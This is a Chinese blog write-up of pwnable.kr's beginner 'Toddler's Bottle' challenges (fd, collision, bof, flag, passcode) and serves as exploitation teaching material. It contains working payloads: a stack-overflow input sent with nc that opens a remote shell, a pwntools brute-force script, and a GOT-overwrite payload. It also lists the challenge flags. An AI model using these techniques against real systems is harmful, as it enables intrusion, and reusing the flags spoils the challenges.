ღ Miranda

pwnable.kr的PWN挑战之Toddler’s Bottle(一)

pwnable.kr is a non-commercial site which provides various pwn challenges regarding system exploitation. the main purpose of pwnable.kr is fun.

refer:
https://gist.github.com/ihciah/0ca68da3e32e38818bb9
http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html
http://weaponx.site/2017/02/21/unlink-Writeup-pwnable-kr/
https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr

fd-1pt

ssh fd@pwnable.kr -p2222(pw:guest)连上服务器后可以看到读取flag的源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

提示是Mommy! what is a file descriptor in Linux?,所以考察的是与Linux文件描述符有关的知识,在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。文件描述符是一个非负整数,用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。read()的定义为:

ssize_t read(int fd, void * buf, size_t count);

依次为文件描述符,变量,读取长度,返回值是操作成功时所读到的字节数,在文件结束时可能少于count个字节;若返回值为-1则说明出错了,返回0则表示到达文件尾端。atoi() (表示ascii to integer)是把字符串转换成整型数的一个函数。这里为了能让buf的值为我们自己输入的LETMEWIN\n从而执行system("/bin/cat flag");,所以需要fd参数值为0,也就是标准输入,由int fd = atoi( argv[1] ) - 0x1234;可知我们输入的参数一要为4660,也就是0x1234的十进制,然后输入LETMEWIN\n即可:

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

collision-3pt

ssh col@pwnable.kr -p2222 (pw:guest)连上服务器后可以看到读取flag的源码:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

提示是cool MD5 hash collision,主函数读入长度20passcode,要求hashcode == check_password( argv[1] )check_passcde()函数将输入的字符串做整型转换后求和输出,要求和等于0x21DD09ECstrlen()函数会返回字符串的长度,但当输入的字符串含有\0,\x时表示一个整体是转义字符,会被当成一个字符判断,看下面的输出:

printf("%d\n", strlen("\x00\x00"));
output: 0
printf("%d\n", strlen("\x00\x01"));
output: 0
printf("%d\n", strlen("\x01\x01"));
output: 2
printf("%d\n", strlen("\x01\x00\x01"));
output: 1
printf("%d\n", strlen("\01\x01"));
output: 2
printf("%d\n", strlen("\000\x01"));
output: 0

看出\x00标识了字符串的结尾,与\0作用相同,strlen()遇到就会停止计数。题目把字符串指针转换成了整型指针,来看看输入与输出的关系:

char* p = "\xc8\xce\xc5\x06";
int* ip = (int*) p;
printf("%x\n", ip[0]);
output: 6c5cec8

char* p = "\xc8\xce\xc5\x06\xc8\xce\xc5\x06";
int* ip = (int*) p;
printf("%x\n", ip[1]);
output: 6c5cec8

可以看出输入四个十六进制为一组,以小端序转换成了十六进制的数字,所以20 bytes的字符串会转换成5个十六进制数相加,所以构造的字符串要分成5个加起来为0x21DD09EC0x21DD09EC除以5取整为6c5cec8,然后6c5cec8乘以四用0x21DD09EC减得到6c5cecc,由小端序,最后要把十六进制倒序为'\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06':

char* p = "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06";
int* ip = (int*) p;
int i;
int res=0;
for(i=0; i<5; i++){
    res += ip[i];
}
printf("%x\n", res);

可直接把这串作为输入会报错,需要用python做转换,用-c参数:

-c cmd : program passed in as string (terminates option list)
col@ubuntu:~$ ./col `python -c "print '\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06'"`
daddy! I just managed to create a hash collision :)

bof-5pt

题目的源码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

把下载下来的bof查一下:

$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped

是一个32位的程序,如果在64位的linux上运行会报错:

$ ./bof
bash: ./bof: No such file or directory

要安装一个包即可:

$ apt-get install lib32z1 

然后就可以用gdb调试了,这里使用gdb的插件peda来调试,安装方法如下:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

用插件的pattern命令生成64长度的唯一字符串:

gdb-peda$ pattern create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'

b mainmain()函数下断点,然后用r运行,n命令为stepping over,而s命令为stepping into。用s不断单步直到第一个函数调用,看到调用了定义的func()函数:

[----------------------------code----------------------------]
   0x5655568d <main+3>: and    esp,0xfffffff0
   0x56555690 <main+6>: sub    esp,0x10
   0x56555693 <main+9>: mov    DWORD PTR [esp],0xdeadbeef
=> 0x5655569a <main+16>:    call   0x5655562c <func>
   0x5655569f <main+21>:    mov    eax,0x0
   0x565556a4 <main+26>:    leave
   0x565556a5 <main+27>:    ret
   0x565556a6:  nop
Guessed arguments:
arg[0]: 0xdeadbeef

s单步进去后用n单步跟,直到运行到gets()函数接受输入,将生成的patter输入进去,然后就到了比较的语句:

=> 0x56555654 <func+40>:    cmp  DWORD PTR [ebp+0x8],0xcafebabe

EBP+0x8地址存的值与0xcafebabe比较,这是在程序里定义的,此时的EBP值为:

EBP: 0xffffd698 ("AFAAbAA1AAGAAcAA2AAH")

计算加8后为0xffffd6a0,所以要覆盖的地址就是0xffffd6a0,一样的话就会执行0x5655579b处的代码(/bin/sh):

   0x56555649 <func+29>:    lea    eax,[ebp-0x2c]
   0x5655564c <func+32>:    mov    DWORD PTR [esp],eax
   0x5655564f <func+35>:    call   0xf7e5bf60 <gets>
=> 0x56555654 <func+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <func+47>:    jne    0x5655566b <func+63>
   0x5655565d <func+49>:    mov    DWORD PTR [esp],0x5655579b
   0x56555664 <func+56>:    call   0xf7e377f0 <system>
   0x56555669 <func+61>:    jmp    0x56555677 <func+75>
gdb-peda$ hexdump 0x5655579b
0x5655579b : 2f 62 69 6e 2f 73 68 00 4e 61 68 2e 2e 00 00 00   /bin/sh.Nah.....

查看字符串周围的堆栈情况:

gdb-peda$ telescope 25
0000| 0xffffd650 --> 0xffffd66c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0004| 0xffffd654 --> 0xffffd6f4 --> 0xb7f29b08
0008| 0xffffd658 --> 0xf7fb0000 --> 0x1b2db0
0012| 0xffffd65c --> 0xd ('\r')
0016| 0xffffd660 --> 0xffffffff
0020| 0xffffd664 --> 0xf7fb0000 --> 0x1b2db0
0024| 0xffffd668 --> 0xf7e09e18 --> 0x2bb6
0028| 0xffffd66c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0032| 0xffffd670 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0036| 0xffffd674 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0040| 0xffffd678 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0044| 0xffffd67c ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0048| 0xffffd680 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0052| 0xffffd684 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0056| 0xffffd688 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0060| 0xffffd68c ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0064| 0xffffd690 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAH")
0068| 0xffffd694 ("AA0AAFAAbAA1AAGAAcAA2AAH")
0072| 0xffffd698 ("AFAAbAA1AAGAAcAA2AAH")
0076| 0xffffd69c ("bAA1AAGAAcAA2AAH")
0080| 0xffffd6a0 ("AAGAAcAA2AAH")
0084| 0xffffd6a4 ("AcAA2AAH")
0088| 0xffffd6a8 ("2AAH")
0092| 0xffffd6ac --> 0x0
0096| 0xffffd6b0 --> 0x1

0xffffd6a0地址处为AAGAAcAA2AAH,计算一下偏移:

gdb-peda$ pattern offset AAGAAcAA2AAH
AAGAAcAA2AAH found at offset: 52

远程发送payload :

$ (python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000
id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
cat flag
daddy, I just pwned a buFFer :)
#!/usr/bin/env python

import struct
from pwn import *
from colorama import *

key = struct.pack( '<I', 0xcafebabe )
init( autoreset=True )


print Fore.YELLOW + "Beginning attempt to bruteforce the overflow offset... "
#-------------------- . . . 

for i in range( 32, 100 ):
    r = remote( 'pwnable.kr', 9000 )
    r.sendline( '\x90' *  i + key )

    print Fore.YELLOW + "Currently at offset:", i

    response = r.recv(4096, timeout=1)
    if ( response == '' ):
        print Fore.GREEN + Style.BRIGHT + "FOUND OFFSET", i
        print Fore.YELLOW + Style.BRIGHT + "Successfully overflowed buffer, here is your shell: "
        r.interactive()
        break
    else:
        r.close()

flag-7pt

gdb-peda$ file flag
Reading symbols from flag...(no debugging symbols found)...done.
gdb-peda$ info functions
All defined functions:
gdb-peda$

This implies that some kind of anti-debugging techniques are applied to this program.

root@kaliSevie:~/Desktop# strings flag | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $
UPX!
UPX!
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000401164 <+0>: push   rbp
   0x0000000000401165 <+1>: mov    rbp,rsp
   0x0000000000401168 <+4>: sub    rsp,0x10
   0x000000000040116c <+8>: mov    edi,0x496658
   0x0000000000401171 <+13>:    call   0x402080 <puts>
   0x0000000000401176 <+18>:    mov    edi,0x64
   0x000000000040117b <+23>:    call   0x4099d0 <malloc>
   0x0000000000401180 <+28>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401184 <+32>:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>
   0x000000000040118b <+39>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040118f <+43>:    mov    rsi,rdx
   0x0000000000401192 <+46>:    mov    rdi,rax
   0x0000000000401195 <+49>:    call   0x400320
   0x000000000040119a <+54>:    mov    eax,0x0
   0x000000000040119f <+59>:    leave
   0x00000000004011a0 <+60>:    ret
End of assembler dump.

breakpoint:

gdb-peda$ b *0x0000000000401184
Breakpoint 1 at 0x401184
gdb-peda$ r
Starting program: /root/Desktop/flag
I will malloc() and strcpy the flag there. take it.

flag:

RDX: 0x496628 ("UPX...? sounds like a delivery service :)")

下载http://pwnable.kr/bin/flag文件,是一个linux-64bit下的程序,这题没有给源码,用Exeinfo PE查到有UPX壳,在kali里用upx工具脱壳:

$ upx -d flag -oflag_unupx

然后放到IDA静态调试,发现在主程序里引用了flag这个变量:

.text:0000000000401164                 push    rbp
.text:0000000000401165                 mov     rbp, rsp
.text:0000000000401168                 sub     rsp, 10h
.text:000000000040116C                 mov     edi, offset aIWillMallocAnd ; "I will malloc() and strcpy the flag the"...
.text:0000000000401171                 call    puts
.text:0000000000401176                 mov     edi, 64h
.text:000000000040117B                 call    malloc
.text:0000000000401180                 mov     [rbp+var_8], rax
.text:0000000000401184                 mov     rdx, cs:flag
.text:000000000040118B                 mov     rax, [rbp+var_8]
.text:000000000040118F                 mov     rsi, rdx
.text:0000000000401192                 mov     rdi, rax
.text:0000000000401195                 call    sub_400320
.text:000000000040119A                 mov     eax, 0
.text:000000000040119F                 leave
.text:00000000004011A0                 retn
.text:00000000004011A0 main            endp

双击flag发现这个变量有upx关键字,直接搜索就能发现flag:UPX...? sounds like a delivery service :)

passcode-10pt

http://blog.csdn.net/smalosnail/article/details/53247502?_t_t_t=0.050024056468489064

代码如下:

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

要注意的是这里scanf("%d", passcode1);两个读入的变量都没有加&scanf的原型为int scanf(const char * restrict format,...);,这样可能导致内存违规写入,这题考察的是有关GOT表的知识,用下面的命令将远端的可执行文件复制到本地:

$ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ~/Downloads/passcode

gdb调试,先查看一下程序保护方式:

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

GOT表:每一个外部定义的符号在全局偏移表Global offset Table中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。作用是把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器rtld找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtldPLT是过程连接表,一个PLT条目对应一个GOT条目,当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址。GOT覆写技术的原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode,可以用objdump查看GOT

$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

这里的思路是由于scanf没加&时会从栈中读取4个字节当scanf取的地址,并把scanf后输入的的内容存到那里,于是我们可以修改栈中的数据,写一个任意4字节的地址进去,来充当scanf取的地址。于是可以利用GOT覆写技术,用一个GOT表中的函数地址来充当scanf取的地址,然后把system("/bin/cat flag")这条指令的地址通过scanf写到这个函数中,当这个函数被调用时,就会直接跳到system("/bin/cat flag"),接下来进行gdb调试,首先看welcome函数,运行至输入部分:

EAX: 0x80487dd ("%100s")
EBX: 0x0
ECX: 0x0
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0xf7fb0000 --> 0x1b2db0
EBP: 0xffffd688 --> 0xffffd6a8 --> 0x0
ESP: 0xffffd600 --> 0x80487cb ("enter you name : ")
EIP: 0x804862f (<welcome+38>:   lea    edx,[ebp-0x70])
   0x8048622 <welcome+25>:  mov    DWORD PTR [esp],eax
   0x8048625 <welcome+28>:  call   0x8048420 <printf@plt>
   0x804862a <welcome+33>:  mov    eax,0x80487dd
=> 0x804862f <welcome+38>:  lea    edx,[ebp-0x70]
   0x8048632 <welcome+41>:  mov    DWORD PTR [esp+0x4],edx
   0x8048636 <welcome+45>:  mov    DWORD PTR [esp],eax
   0x8048639 <welcome+48>:  call   0x80484a0 <__isoc99_scanf@plt>

可以看出,mov eax,0x80487dd"%100s"存入EAX寄存器,随后入栈,所以lea edx,[ebp-0x70]就是将scanf的接收地址存入edx寄存器随后入栈,如果scanf加了&的话,应当是lea edx,ptr [ebp-0x70],也就是ebp-0x70name的地址,单步过scanf函数输入nameaaaa后看到栈中0xffffd618 ("aaaa"):

0000| 0xffffd600 --> 0x80487dd ("%100s")
0004| 0xffffd604 --> 0xffffd618 ("aaaa")
0008| 0xffffd608 --> 0x804b008 ("enter you name : Login System 1.0 beta.\n")
0012| 0xffffd60c --> 0xf7e677ad (<_IO_do_write+29>: cmp    ebx,eax)
0016| 0xffffd610 --> 0xf7fb0d60 --> 0xfbad2a84
0020| 0xffffd614 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0024| 0xffffd618 ("aaaa")
0028| 0xffffd61c --> 0xf7e67b00 (<_IO_file_overflow+80>:    lock mov BYTE PTR [edx],al)

反汇编login函数:

gdb-peda$ disassemble login
Dump of assembler code for function login:
   0x08048564 <+0>: push   ebp
   0x08048565 <+1>: mov    ebp,esp
   0x08048567 <+3>: sub    esp,0x28
   0x0804856a <+6>: mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10] //passcode1
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc] //passcode2
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af //读取flag的函数开始地址
   0x080485ea <+134>:   call   0x8048460 <system@plt> 
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>

看出passcode1位于ebp-0x10passcode2位于ebp-0xc,单步进login函数可以发现EBP的值与welcome中的一样,所以namepasscode在同一段栈内,而且相差0x70-0x10 = 0x60 = 96

EBP: 0xffffd688 --> 0xffffd6a8 --> 0x0

选择之前objdump命令列出的printfoffset 0804a000,把这个地址中的值改为0x080485e3payload为:

root@kaliSevie:~/Desktop# python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
/bin/cat: flag: No such file or directory
enter passcode1 : Now I can safely trust you that you have credential :)

flag:

passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

发表评论

电子邮件地址不会被公开。